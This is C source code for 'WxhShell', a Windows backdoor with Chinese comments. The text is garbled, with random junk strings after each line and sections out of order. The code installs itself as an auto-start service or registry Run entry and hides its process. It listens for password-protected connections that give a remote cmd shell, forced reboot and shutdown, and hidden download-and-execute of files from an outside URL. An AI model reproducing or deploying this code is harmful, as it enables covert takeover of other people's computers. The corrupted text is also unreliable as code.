    ExitThread(0); "Ww^?"jQ)  
    } Ho \+xX  
    break; / /wmJ |  
    } (_nkscf  
  // 关机 TS UN(_XGW  
  case 'd': { >@oO7<WB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S?Eg   
    if(Boot(SHUTDOWN)) 8De `.!Gg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o,aI<5"  
    else { e;!<3b  
    closesocket(wsh); NoKYHN^*w  
    ExitThread(0); i^QcW!X&  
    } (qPZEZKx  
    break; %+pXzw`B  
    } <78> 6u/W%  
  // 获取shell !2{MWj  
  case 's': { 58v5Z$%--  
    CmdShell(wsh); u[dI81`  
    closesocket(wsh); V KR6i  
    ExitThread(0); u"|.]r  
    break; koqH~>ZtD  
  } E&[ox[g{  
  // 退出 ~4\bR  
  case 'x': { 7,+:Q Y@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )%MB o.NL  
    CloseIt(wsh); rcyH2)Y/e  
    break; _@^msyoq  
    } jXW71$B  
  // 离开 bjvi`jyL3k  
  case 'q': { wkIH<w|jb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ")sq?1?X  
    closesocket(wsh); ^ )+tn  
    WSACleanup(); / 5=A#G  
    exit(1); IF1?/D"<  
    break; nZ%<2  
        } z ,ledTl  
  } l|uN-{ w  
  }  MT&i5!Z  
YEZ"BgUnbp  
  // 提示信息 +:Y6O'h.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .d8~]@U!<  
} }RyYzm2  
  } |UlScUI,  
E4{^[=}  
  return; W0nRUAo[  
} BRW   
QTLOP~^  
// shell模块句柄 =j}00,WH  
int CmdShell(SOCKET sock) L^0jyp  
{ ?EpY4k8,  
STARTUPINFO si; 3ea6g5kX  
ZeroMemory(&si,sizeof(si)); sxuYwQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zd5fr c$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zCco/]h  
PROCESS_INFORMATION ProcessInfo; sXfx[)T<  
char cmdline[]="cmd"; k*n5+[U^tP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =XWi+')  
  return 0; =nY*,Xu<  
} YHAy+S  
`GSfA0?  
// 自身启动模式 \y0abxIHS  
int StartFromService(void) XGO_n{ x  
{ n\P{Mc  
typedef struct  oR5`-  
{ U~T/f-CT  
  DWORD ExitStatus; ,m:MI/ )p  
  DWORD PebBaseAddress; {WC{T2:8  
  DWORD AffinityMask; SYC_=X  
  DWORD BasePriority; + 1cK (Si  
  ULONG UniqueProcessId; $)\ocsO  
  ULONG InheritedFromUniqueProcessId; -Ol/r=/&  
}   PROCESS_BASIC_INFORMATION; TSD7.t)^  
$MP'j9-S?  
PROCNTQSIP NtQueryInformationProcess; 3N<FG.6  
&1VC0"YJWy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >Vg<J~[g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^WVr@6  
|#MA?oz3T  
  HANDLE             hProcess; JM!o(zbt  
  PROCESS_BASIC_INFORMATION pbi; ,I)/ V>u  
?p}m[9@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mT)iN`$Y@  
  if(NULL == hInst ) return 0; tt`b+NOH>  
] ^.#d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jLZ~9FXF2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^Ji5)c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,c7 8O8|  
rt."P20T  
  if (!NtQueryInformationProcess) return 0; j[c|np4k\  
SFh6'v'1N@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z,Q)\W<'-  
  if(!hProcess) return 0; h"q`gj  
ymzlRs1^Ct  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N.3M~0M*  
:PjHsNp;^  
  CloseHandle(hProcess); *%Q!22?6F  
oU{m\r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >0u4>=#  
if(hProcess==NULL) return 0; \5O4}sm$*  
zQD$+q5h  
HMODULE hMod;  4INO .  
char procName[255]; F7L+bv   
unsigned long cbNeeded; 4egq Y0A  
& XcY|y=W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8wwD\1pLS  
/(XtNtO*  
  CloseHandle(hProcess); $0{c =r9  
iGm[fxQ|  
if(strstr(procName,"services")) return 1; // 以服务启动 L%N|8P[  
\/'u(|G  
  return 0; // 注册表启动 *R8q)Q  
} qM]eK\q 1  
up`!r;5-  
// 主模块 LUJKR6oT{>  
int StartWxhshell(LPSTR lpCmdLine)  :3u>%  
{ Ga$+x++'*  
  SOCKET wsl; Xgc@cwd  
BOOL val=TRUE; qifX7AXHr  
  int port=0; -Vw,9VCF  
  struct sockaddr_in door; ,GGr@})  
bf::bV?T  
  if(wscfg.ws_autoins) Install(); $c[8-=  
K^w(WE;db  
port=atoi(lpCmdLine); YW0UIO  
>8HcCG  
if(port<=0) port=wscfg.ws_port; - x@mS2  
kcI3pmgj  
  WSADATA data; Oe*emUX7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jsc1B  
BPe5c :z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h_Q9 c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0I& !a$:  
  door.sin_family = AF_INET; {_l@ws  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i,Yv  
  door.sin_port = htons(port); quVTqhg"  
vt@.fT#e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { : xB<Rq  
closesocket(wsl); /J8y[aa  
return 1; (wnkdI{  
} ErHbc 2  
j:\MrYt0H  
  if(listen(wsl,2) == INVALID_SOCKET) { i\2~yXw\  
closesocket(wsl); Z6A*9m  
return 1; ]xfu @''  
} Tf<1Z{9  
  Wxhshell(wsl); @9-z8PyF  
  WSACleanup(); !A,]  
+A3@{ 2  
return 0; oaM $<  
OT&J OTk\  
} hK&jo(V  
9v8{JaI3  
// 以NT服务方式启动 TE3A(N'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a9`E&Q}z  
{ v&D^N9hy9  
DWORD   status = 0; tc.R(F96  
  DWORD   specificError = 0xfffffff; 5ZSV)$t  
ehV`@ss  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V31<~&O~%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D:/^TEib  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I|@%|sTW  
  serviceStatus.dwWin32ExitCode     = 0; aI{Ehbf=  
  serviceStatus.dwServiceSpecificExitCode = 0; oMM`7wJw  
  serviceStatus.dwCheckPoint       = 0; HSE9-c =  
  serviceStatus.dwWaitHint       = 0; >A;Mf*E  
CMI%jyiX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JJPU!  
  if (hServiceStatusHandle==0) return; ~q5"'  
c-(,%0G0  
status = GetLastError(); Ux2(Oph  
  if (status!=NO_ERROR) #;# V1  
{ 4 >at# Zc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yF0\$%H>$  
    serviceStatus.dwCheckPoint       = 0; nm_]2z O  
    serviceStatus.dwWaitHint       = 0; $0~H~ -  
    serviceStatus.dwWin32ExitCode     = status; s=h  
    serviceStatus.dwServiceSpecificExitCode = specificError; -1 ;BwlL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !X[b 4p  
    return; 6*J`2U9Q  
  } 3pl/k T.\  
P4-`<i]!S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hOx'uO`x(  
  serviceStatus.dwCheckPoint       = 0; & gnE"  
  serviceStatus.dwWaitHint       = 0; , `ST Va-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *BF5B\[r?  
} M,7A|?O  
0&mOu #l  
// 处理NT服务事件,比如:启动、停止 ELZCrh6*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3Un q 9  
{ n,q+EZd  
switch(fdwControl) Y?a*-"  
{ wC+_S*M-K  
case SERVICE_CONTROL_STOP: $6kVhE!;  
  serviceStatus.dwWin32ExitCode = 0; *NHBwXg+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  \09eH[  
  serviceStatus.dwCheckPoint   = 0; _~ZNX+4  
  serviceStatus.dwWaitHint     = 0; /7/d u[P6  
  { w7 @fiH{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3(0k!o0 "  
  } .'k]]2%ILp  
  return; `xMmo8u4  
case SERVICE_CONTROL_PAUSE: ) jv]Oz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TPH`{  
  break; ViIt 'WX  
case SERVICE_CONTROL_CONTINUE: $hZb<Xz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; sEP-jEuwG  
  break; fl#gWAM  
case SERVICE_CONTROL_INTERROGATE: (Z;;v|F.i=  
  break; <5X?6*Qvr  
}; r~&"D#)sy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #; CC"  
} >>oR@  
#9M6 q  
// 标准应用程序主函数 ^x-vOG lR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uu@Y]0-  
{ B8 ;jRY  
nk|j(D  
// 获取操作系统版本 /n;Ll](ri  
OsIsNt=GetOsVer(); :34]}`-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `?r]OVe{y  
S{' /=Px+  
  // 从命令行安装 ErIAS6HS'  
  if(strpbrk(lpCmdLine,"iI")) Install(); U ]jHe  
KE!aa&g  
  // 下载执行文件 `@1y|j:m  
if(wscfg.ws_downexe) { lO3W:,3_a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dfl| 6R  
  WinExec(wscfg.ws_filenam,SW_HIDE); S<HR6Xw  
} o=@ 0Bd8  
d$Y3 a^O|  
if(!OsIsNt) { t\Pn67t  
// 如果时win9x,隐藏进程并且设置为注册表启动 nm5zX,  
HideProc(); VOr*YB&  
StartWxhshell(lpCmdLine); |U)m'W-(q  
} G347&F)  
else d*Q:[RUf,  
  if(StartFromService()) >oSNKE  
  // 以服务方式启动 q_S`@2Dzz,  
  StartServiceCtrlDispatcher(DispatchTable); S81Z\=eK  
else +EK(r@eV  
  // 普通方式启动 5{/CqUIl  
  StartWxhshell(lpCmdLine); XHU&ix{Od  
hiO:VA  
return 0; A`_(L|~  
} kzU;24"K  
U'(}emh}  
/)fx(u#  
Rj6:.KEJ  
=========================================== swNJ\m  
pie<jZt  
*qdf?' R  
hd{Vz{;W  
?|!167/O  
]4~- z3=y  
" W _j`'WN/  
Z)}q=NjA  
#include <stdio.h> 7oaa)  
#include <string.h> !_0kn6 S5  
#include <windows.h> oz $T.  
#include <winsock2.h> juOOD   
#include <winsvc.h> 0s)B~  
#include <urlmon.h> i\hH .7G1  
R-nC+)^  
#pragma comment (lib, "Ws2_32.lib") uMOm<kn  
#pragma comment (lib, "urlmon.lib") $T7hY$2Q l  
bU'{U0lM  
#define MAX_USER   100 // 最大客户端连接数 {.F``2  
#define BUF_SOCK   200 // sock buffer wXw pKm  
#define KEY_BUFF   255 // 输入 buffer iC- ?F cA  
5c6CH k`:  
#define REBOOT     0   // 重启 gNk x]bm  
#define SHUTDOWN   1   // 关机 Y^5X>  
obWBX'  
#define DEF_PORT   5000 // 监听端口 dv3+x\`9  
[ox!MQ+s  
#define REG_LEN     16   // 注册表键长度 {6MLbL{  
#define SVC_LEN     80   // NT服务名长度 /?X1>A:*  
K|*Cka{  
// 从dll定义API 9`{[J['V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2}`Q9?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DF D5">g@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fq-$u;~h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 63:0Vt>hZ^  
!g:UkU\J  
// wxhshell配置信息 k 1;,eB  
struct WSCFG { [?TQ!l}8A  
  int ws_port;         // 监听端口 )US|&> o8  
  char ws_passstr[REG_LEN]; // 口令 2{naSiaq  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0_JbE  
  char ws_regname[REG_LEN]; // 注册表键名 7s:`]V%  
  char ws_svcname[REG_LEN]; // 服务名 }gi>Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !M:m(6E1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *]G&pmMs  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !1<x@%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,Yhy7w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $$C5Q;7w!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  v|+}>g  
VuTH"br6  
}; K@xp!  
m(JFlO  
// default Wxhshell configuration xo{f"8}^  
struct WSCFG wscfg={DEF_PORT, /_~b~3{u  
    "xuhuanlingzhe", 'Rk~bAX  
    1, i[FcY2  
    "Wxhshell", w7\:S>;(O"  
    "Wxhshell", zSta !]  
            "WxhShell Service", pNpj, H*4  
    "Wrsky Windows CmdShell Service", kf~71G+  
    "Please Input Your Password: ", js )G   
  1, 2,|*KN*e`W  
  "http://www.wrsky.com/wxhshell.exe", kfb+OE:7  
  "Wxhshell.exe" !v\m%t|.  
    }; $eQ_!7Gom$  
8 OC5L1  
// 消息定义模块 ;aYPv8s~,:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rN? L8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bu"Jb4_a>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U,/NygB~  
char *msg_ws_ext="\n\rExit."; R`=IYnoOA  
char *msg_ws_end="\n\rQuit."; <x@\3{{U  
char *msg_ws_boot="\n\rReboot..."; e2w$":6>  
char *msg_ws_poff="\n\rShutdown..."; ixN>KwH  
char *msg_ws_down="\n\rSave to "; aq3evm  
:6LOb f\01  
char *msg_ws_err="\n\rErr!"; uF5d ]{Qt  
char *msg_ws_ok="\n\rOK!"; 2^Gl;3  
+T[3wL~  
char ExeFile[MAX_PATH]; @t`| w.]ml  
int nUser = 0; nut;ohIh  
HANDLE handles[MAX_USER]; {(G@YG?  
int OsIsNt; %o< &O(Y  
#FF5xe  
SERVICE_STATUS       serviceStatus; /b@0HL?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >K#Z]k  
Jl3l\I'  
// 函数声明 !7J;h{3Uw  
int Install(void); Z91gAy^z<  
int Uninstall(void); FM9b0qE  
int DownloadFile(char *sURL, SOCKET wsh); W#'c6Hq2c  
int Boot(int flag); 7-Rn{"5  
void HideProc(void); RhyI\(Z2q  
int GetOsVer(void); b0LjNO@<  
int Wxhshell(SOCKET wsl); OB3AZH$  
void TalkWithClient(void *cs); ><OdHRh@#  
int CmdShell(SOCKET sock); z2t;!]"'l  
int StartFromService(void); "Gcr1$xG8!  
int StartWxhshell(LPSTR lpCmdLine); h./cs'&  
?zUV3Qgzj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E=gD{1,?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [$?S9)Xd  
Kbx(^f12  
// 数据结构和表定义 Q3%a=ba)h  
SERVICE_TABLE_ENTRY DispatchTable[] = 9<<$uf.B  
{ 0<{/T*AU:  
{wscfg.ws_svcname, NTServiceMain}, mquna"}N  
{NULL, NULL} &dvJg  
}; 7=om /  
x[nv+n ,  
// 自我安装 [.<nt:  
int Install(void) $Z 10Zf=  
{ `6j?2plZ  
  char svExeFile[MAX_PATH]; 3f's>+,#%  
  HKEY key; /@FB;`'  
  strcpy(svExeFile,ExeFile); 5`oor86  
k}>l+_*+7  
// 如果是win9x系统,修改注册表设为自启动 05*_h0}  
if(!OsIsNt) { 'DsfKR^ s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &0f7>.y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2bX!-h  
  RegCloseKey(key); y=9a2 [3Dz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -j3 -H&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L3q)j\ ls  
  RegCloseKey(key); "r cPJX  
  return 0; <)Kjf/x  
    } T'XAcH  
  } (#c5Q&  
} _'n;rZ+  
else { !QVd'e  
R ;5w*e}?5  
// 如果是NT以上系统,安装为系统服务 i BJ*6orz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *sJx0<!M}  
if (schSCManager!=0) F&lc8  
{ ScGmft3A  
  SC_HANDLE schService = CreateService 9Lz)SYd  
  ( qCgP8U/jv  
  schSCManager, z('93vsO  
  wscfg.ws_svcname, nS?HH6H  
  wscfg.ws_svcdisp, ?RWd"JTGue  
  SERVICE_ALL_ACCESS, uNXh"?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `k\]I |6  
  SERVICE_AUTO_START, b,T=0W  
  SERVICE_ERROR_NORMAL, Zpb3>0<R  
  svExeFile, m)_1->K  
  NULL, /UyW&]nK  
  NULL, w0/W=!_  
  NULL, l$m^{6IYc  
  NULL, Bo%M-Gmu  
  NULL BqZLqGO Ku  
  ); 3=bzIU  
  if (schService!=0) ' 1P_*  
  { m OmT]X  
  CloseServiceHandle(schService); N0 ?O*a  
  CloseServiceHandle(schSCManager); 'Iyk`=R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .v1rrH?  
  strcat(svExeFile,wscfg.ws_svcname); h:bs/q+-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WtRy~5A2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $<s@S;Ri  
  RegCloseKey(key); 5jNBt>.0  
  return 0; t 1C{  
    } 1b|<   
  } #s yP=  
  CloseServiceHandle(schSCManager); HqYaQ~Dth  
} y_$^Po  
} /4~RlXf@  
D@ =.4z  
return 1; vMRKs#&8  
} ui 2RTAb  
) ]~HjA;  
// 自我卸载 r456M-~  
int Uninstall(void) _%1.D0<~-E  
{ 38'H-]8q"  
  HKEY key; APc@1="#J  
eazP'(rc  
if(!OsIsNt) { ;4qalxzu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =Fj : #s  
  RegDeleteValue(key,wscfg.ws_regname); z%g<&Cq  
  RegCloseKey(key); C i*TX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ["L?t ^*G  
  RegDeleteValue(key,wscfg.ws_regname); R*yB);p  
  RegCloseKey(key); cuKgO{.GH  
  return 0; $^ >n@Q@&L  
  } V;:A&  
} b/5~VY*T  
} tQl=  
else { q0c)pxD%`  
i;dr(c/ft  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X4/r#<Da  
if (schSCManager!=0) =~EQ3uX  
{ \'p7,F{:>5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;N1FP*  
  if (schService!=0) k2+Z7#2n  
  { uPo>?hpq+  
  if(DeleteService(schService)!=0) { ,*lK4 ?v  
  CloseServiceHandle(schService); %xk]y&jv  
  CloseServiceHandle(schSCManager); M]_vb,=1  
  return 0; z.H`a+cl  
  } qob!!A14p  
  CloseServiceHandle(schService); d,0pNav)  
  } A23Z)`  
  CloseServiceHandle(schSCManager); )7`~U"r  
} 0>?mF]M  
} ~~fL`"  
WYzY#-j  
return 1; e4`KnHsL  
} Xs?>6i@$$  
rU~"A  
// 从指定url下载文件 GYs4#40  
int DownloadFile(char *sURL, SOCKET wsh) 4%6Q+LS']Q  
{ 1b D c ct  
  HRESULT hr; ]D]K_`!K  
char seps[]= "/"; eb8_guZ  
char *token; tllg$CQ5  
char *file; qzmZ/z96  
char myURL[MAX_PATH]; #tfJ?w`  
char myFILE[MAX_PATH]; { U<h tl4  
4Sl^cKb$7  
strcpy(myURL,sURL); eo,]b1C2n  
  token=strtok(myURL,seps); 6/n;u{|  
  while(token!=NULL) mcR!P~"i  
  { 4{Ak|  
    file=token; y\)w#  
  token=strtok(NULL,seps); V\xQM;  
  } ?nn,RBS-  
J *B`C^i  
GetCurrentDirectory(MAX_PATH,myFILE); _Ey8P0-I  
strcat(myFILE, "\\"); WUV Q_<i+  
strcat(myFILE, file); M<L<mP}  
  send(wsh,myFILE,strlen(myFILE),0); i@;a%$5  
send(wsh,"...",3,0); D"WkD j"M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tvH)I px  
  if(hr==S_OK) \G"/Myi  
return 0; g ` {0I[  
else ZuhT \l  
return 1; tO0+~Wm  
}hf*Jw  
} =0-qBodbl  
H9Z3.F(2  
// 系统电源模块 E:tUbWVp  
int Boot(int flag) ^49moC-  
{ 8]L.E  
  HANDLE hToken; R.QcXz?d  
  TOKEN_PRIVILEGES tkp; Eg:p_F*lr  
Y\=:j7'  
  if(OsIsNt) { 3k(?`4JJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S`^W#,rj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t2gjhn^p  
    tkp.PrivilegeCount = 1; e8#3Y+Tc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \r 2qH0B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2u:j6ic  
if(flag==REBOOT) { Ue7W&N^E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -,tYfQ;:  
  return 0; g:)v thOs  
} sDC RL%0QK  
else { ?|/}~ nj7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r6)1Y`K=9  
  return 0; n" ~*9'  
} pWp2{G^XB  
  } r/v&tU  
  else { +OmSR*fA0  
if(flag==REBOOT) { ig,|3(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vOS0E^  
  return 0; 5zGj,y>u  
} `iI"rlc  
else { nX S%>1o,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 525 >=h  
  return 0; pSP_cYa#(#  
} KWUz]>Z  
} 0_EF7`T  
f#t^<`7  
return 1; ^m=%Ctu#  
} >KPJ74R  
]4yvTP3[Rm  
// win9x进程隐藏模块 O+$70   
void HideProc(void) MocH>^,  
{ &1{k^>oz  
l1[IXw?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ("6W.i>  
  if ( hKernel != NULL ) Y<+4>Eh  
  { yd~fC:_ ]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t;]egk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bM-Rj1#Lo  
    FreeLibrary(hKernel); :I('xVNPz  
  } /z5lxS@#  
#V 6 -*  
return;  m5pVt 4  
} w-$w  
*PEuaRDN  
// 获取操作系统版本 pYG,5+g  
int GetOsVer(void) * 2%e.d3"M  
{ Uz|]}t5V  
  OSVERSIONINFO winfo; \7/_+)0}'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G= cxc_9  
  GetVersionEx(&winfo); l/^-:RRNKi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 895 7$g  
  return 1; v~Qy{dn P  
  else zTB9GrU  
  return 0; E2|iAT+=.  
} obq}#  
=@ZtUjcJx  
// 客户端句柄模块 O| ]Ped9  
int Wxhshell(SOCKET wsl) W6T&hB  
{ 5KR|p Fq  
  SOCKET wsh; 6hK"k  
  struct sockaddr_in client; +d f?N  
  DWORD myID; e63|Z[8  
o3qv945  
  while(nUser<MAX_USER) D3xaR   
{ CE,O m^  
  int nSize=sizeof(client); @U{M"1zZe  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8 36m5/kH[  
  if(wsh==INVALID_SOCKET) return 1; _vH!0@QFU  
hH}/v0_jb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e9_+$Oo  
if(handles[nUser]==0) 6sl<Z=E#  
  closesocket(wsh); VWy:U#;+8  
else lg >AWTW[  
  nUser++; lM*O+k  
  } `uA&w}(G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Nh9!lBm*]  
]ECZU   
  return 0; e0HP~&BRs  
} %}X MhWn{  
!^fR8Tp9  
// 关闭 socket sVd_O[  
void CloseIt(SOCKET wsh) z|*6fFE   
{ L0b] ^_ tI  
closesocket(wsh); }27Vh0v  
nUser--; Vor9 ?F&w  
ExitThread(0); IGT_ 5te  
} 7RE6y(V1  
B:4qW[U#  
// 客户端请求句柄 ~^~RltY  
void TalkWithClient(void *cs) tq[",&K  
{ ~@b}=+n  
t[,T}BCy.  
  SOCKET wsh=(SOCKET)cs; ddDJXk)!0  
  char pwd[SVC_LEN]; Y&f[2+?2NK  
  char cmd[KEY_BUFF]; 3b@1Zahz  
char chr[1]; jA4v?(AO}#  
int i,j; OIty ]c  
h<ctW>6v  
  while (nUser < MAX_USER) { x[W]?`W3r~  
 _np>({  
if(wscfg.ws_passstr) { Uv`v|S:+2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j jT 2k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MZW Y  
  //ZeroMemory(pwd,KEY_BUFF); 0C+y q'D~[  
      i=0; 3dDQz#  
  while(i<SVC_LEN) { ]#q7}Sd  
)^S^s >3  
  // 设置超时 b[o"Uq@8?  
  fd_set FdRead; 50bP&dj&  
  struct timeval TimeOut; |uwteG5?$s  
  FD_ZERO(&FdRead); ;To+,`?E;q  
  FD_SET(wsh,&FdRead); @-@rG>y^:  
  TimeOut.tv_sec=8; >m6,xxTR  
  TimeOut.tv_usec=0; Rn(F#tI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I+?$4SC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2mU-LQ1WN  
zGd*Q5l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); , gr&s+  
  pwd=chr[0]; GVc[p\h(  
  if(chr[0]==0xd || chr[0]==0xa) { /\uH[[s  
  pwd=0; .Xz"NyW  
  break; Qn)[1v  
  } 1fhK{9#  
  i++; \BcJDdL  
    } ]AA*f_!  
r]EZ)qp^@  
  // 如果是非法用户,关闭 socket Ldj^O9p(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Xa%&.&V  
} $_7d! S"  
r]//Q6|S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nBIv{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $CwTNm?  
d>b,aj(  
while(1) { NT9- j#V  
|XA aKZA  
  ZeroMemory(cmd,KEY_BUFF); t2%@py*bU  
2X;0z$  
      // 自动支持客户端 telnet标准   y#Za|nt  
  j=0; &T/q0bwd  
  while(j<KEY_BUFF) { ^_S-s\DW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K6yFpVl  
  cmd[j]=chr[0]; h-+a;![  
  if(chr[0]==0xa || chr[0]==0xd) { -KJ!  
  cmd[j]=0; OK2/k_jXN'  
  break; 9EA !j}  
  } 8j+:s\  
  j++; \ [^) WQ  
    } ]V769B9  
 z0Z\d  
  // 下载文件 J(&M<<%  
  if(strstr(cmd,"http://")) { ocA'goI-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I1 R\Ts@  
  if(DownloadFile(cmd,wsh)) @1SKgbt>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 031.u<_  
